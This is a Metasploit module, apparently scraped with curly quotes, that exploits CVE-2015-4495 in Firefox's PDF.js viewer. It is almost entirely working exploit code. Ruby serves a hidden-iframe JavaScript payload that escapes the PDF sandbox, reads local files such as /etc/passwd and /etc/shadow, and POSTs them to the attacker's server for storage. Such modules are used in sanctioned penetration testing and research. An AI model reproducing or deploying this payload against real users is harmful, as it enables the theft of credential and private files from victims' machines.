Firefox PDF.js Browser File Theft
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
‘Name’ => ‘Firefox PDF.js Browser File Theft’,
‘Description’ => %q{
This module abuses an XSS vulnerability in versions prior to Firefox 39.0.3, Firefox ESR
38.1.1, and Firefox OS 2.2 that allows arbitrary files to be stolen. The vulnerability
occurs in the PDF.js component, which uses Javascript to render a PDF inside a frame with
privileges to read local files. The in-the-wild malicious payloads searched for sensitive
files on Windows, Linux, and OSX. Android versions are reported to be unaffected, as they
do not use the Mozilla PDF viewer.
},
‘Author’ => [
‘Unknown’, # From an 0day served on Russian news website
‘fukusa’, # Hacker news member that reported the issue
‘Unknown’ # Metasploit module
],
‘License’ => MSF_LICENSE,
‘Actions’ => [[ ‘WebServer’, ‘Description’ => ‘Serve exploit via web server’ ]],
‘PassiveActions’ => [ ‘WebServer’ ],
‘References’ =>
[
[‘URL’, ‘https://paste.debian.net/290146’], # 0day exploit
[‘URL’, ‘https://news.ycombinator.com/item?id=10021376’], # discussion with discoverer
[‘URL’, ‘https://blog.mozilla.org/security/2015/08/06/firefox-exploit-found-in-the-wild/’],
[‘CVE’, ‘2015-4495’]],
‘DefaultAction’ => ‘WebServer’
))
register_options([
OptString.new(‘FILES’, [
false,
‘Comma-separated list of files to steal’,
‘/etc/passwd, /etc/shadow’
])
])
register_advanced_options([
OptInt.new(‘PER_FILE_SLEEP’, [
false,
‘Milliseconds to wait before attempting to read the frame containing each file’,
250
])
])
end
def run
print_status(“File targeted for exfiltration: #{JSON.generate(file_urls)}”)
exploit
end
def on_request_uri(cli, request)
if request.method.downcase == ‘post’
print_status(‘Got POST request…’)
process_post(cli, request)
send_response_html(cli, ”)
else
print_status(‘Sending exploit…’)
send_response_html(cli, html)
end
end
def process_post(cli, req)
name = req.qstring[‘name’]print_good(“Received #{name}, size #{req.body.bytes.length}…”)
output = store_loot(
name || ‘data’, ‘text/plain’, cli.peerhost, req.body, ‘firefox_theft’, ‘Firefox PDF.js exfiltrated file’
)
print_good(“Stored to #{output}”)
end
def html
exploit_js = js + file_payload + ‘}, 20);’
“<!doctype html><html><body><script>#{exploit_js}</script></body></html>”
end
def backend_url
proto = (datastore[‘SSL’] ? ‘https’ : ‘http’)
my_host = (datastore[‘SRVHOST’] == ‘0.0.0.0’) ? Rex::Socket.source_address : datastore[‘SRVHOST’]port_str = (datastore[‘SRVPORT’].to_i == 80) ? ” : “:#{datastore[‘SRVPORT’]}”
resource = (‘/’ == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
“#{proto}://#{my_host}#{port_str}#{resource}/catch”
end
def file_payload
%Q|
var files = (#{JSON.generate(file_urls)});
function next() {
var f = files.pop();
if (f) {
get(“file://”+f, function() {
var data = get_data(this);
var x = new XMLHttpRequest;
x.open(“POST”, “#{backend_url}?name=”+encodeURIComponent(“%URL%”));
x.send(data);
}, #{datastore[‘PER_FILE_SLEEP’]}, “%URL%”, f);
setTimeout(next, #{datastore[‘PER_FILE_SLEEP’]}+200);
}
}
next();
|
end
def file_urls
datastore[‘FILES’].split(‘,’).map(&:strip)
end
def js
<<-EOJS
function xml2string(obj) {
return new XMLSerializer().serializeToString(obj);
}
function __proto(obj) {
return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__;
}
function get(path, callback, timeout, template, value) {
callback = _(callback);
if (template && value) {
callback = callback.replace(template, value);
}
js_call1 = ‘javascript:’ + _(function() {
try {
open(“%url%”, “_self”);
} catch (e) {
history.back();
}
undefined;
}, “%url%”, path);
js_call2 = ‘javascript:;try{updateHidden();}catch(e){};’ + callback + ‘;undefined’;
sandboxContext(_(function() {
i = document.getElementById(‘i’);
p = __proto(i.contentDocument.styleSheets[0].ownerNode);
i2 = document.getElementById(‘i2’);
l = p.__lookupSetter__.call(i2.contentWindow, ‘location’);
l.call(i2.contentWindow, window.wrappedJSObject.js_call1);
}));
setTimeout((function() {
sandboxContext(_(function() {
p = __proto(i.contentDocument.styleSheets[0].ownerNode);
l = p.__lookupSetter__.call(i2.contentWindow, ‘location’);
l.call(i2.contentWindow, window.wrappedJSObject.js_call2);
}));
}), timeout);
}
function get_data(obj) {
data = null;
try {
data = obj.document.documentElement.innerHTML;
if (data.indexOf(‘dirListing’) < 0) {
throw new Error();
}
} catch (e) {
if (this.document instanceof XMLDocument) {
data = xml2string(this.document);
} else {
try {
if (this.document.body.firstChild.nodeName.toUpperCase() == ‘PRE’) {
data = this.document.body.firstChild.textContent;
} else {
throw new Error();
}
} catch (e) {
try {
if (this.document.body.baseURI.indexOf(‘pdf.js’) >= 0 || data.indexOf(‘aboutNetError’) > -1) {;
return null;
} else {
throw new Error();
}
} catch (e) {
;;
}
}
}
}
return data;
}
function _(s, template, value) {
s = s.toString().split(/^\\s*function\\s+\\(\\s*\\)\\s*\\{/)[1];
s = s.substring(0, s.length – 1);
if (template && value) {
s = s.replace(template, value);
}
s += __proto;
s += xml2string;
s += get_data;
s = s.replace(/\\s\\/\\/.*\\n/g, “”);
s = s + “;undefined”;
return s;
}
function get_sandbox_context() {
if (window.my_win_id == null) {
for (var i = 0; i < 20; i++) {
try {
if (window[i].location.toString().indexOf(“view-source:”) != -1) {
my_win_id = i;
break;
}
} catch (e) {}
}
};
if (window.my_win_id == null)
return;
clearInterval(sandbox_context_i);
object.data = ‘view-source:’ + blobURL;
window[my_win_id].location = ‘data:application/x-moz-playpreview-pdfjs;,’;
object.data = ‘data:text/html,<‘+’html/>’;
window[my_win_id].frameElement.insertAdjacentHTML(‘beforebegin’, ‘<iframe style=’+
‘”position:absolute; left:-9999px;” onload = “‘+_(function(){
window.wrappedJSObject.sandboxContext=(function(cmd) {
with(importFunction.constructor(‘return this’)()) {
return eval(cmd);
}
});
}) + ‘”/>’);
}
var i = document.createElement(“iframe”);
i.id = “i”;
i.width=i.height=0;
i.style=’position:absolute;left:-9999px;’;
i.src = “data:application/xml,<?xml version=\\”1.0\\”?><e><e1></e1></e>”;
document.documentElement.appendChild(i);
i.onload = function() {
if (this.contentDocument.styleSheets.length > 0) {
var i2 = document.createElement(“iframe”);
i2.id = “i2”;
i2.width=i2.height=0;
i2.style=’position:absolute;left:-9999px;’;
i2.src = “data:application/pdf,”;
document.documentElement.appendChild(i2);
pdfBlob = new Blob([”], {
type: ‘application/pdf’
});
blobURL = URL.createObjectURL(pdfBlob);
object = document.createElement(‘object’);
object.data = ‘data:application/pdf,’;
object.onload = (function() {
sandbox_context_i = setInterval(get_sandbox_context, 200);
object.onload = null;
object.data = ‘view-source:’ + location.href;
return;
});
document.documentElement.appendChild(object);
} else {
this.contentWindow.location.reload();
}
}
var kill = setInterval(function() {
if (window.sandboxContext) {
clearInterval(kill);
} else {
return;
}
EOJS
end
end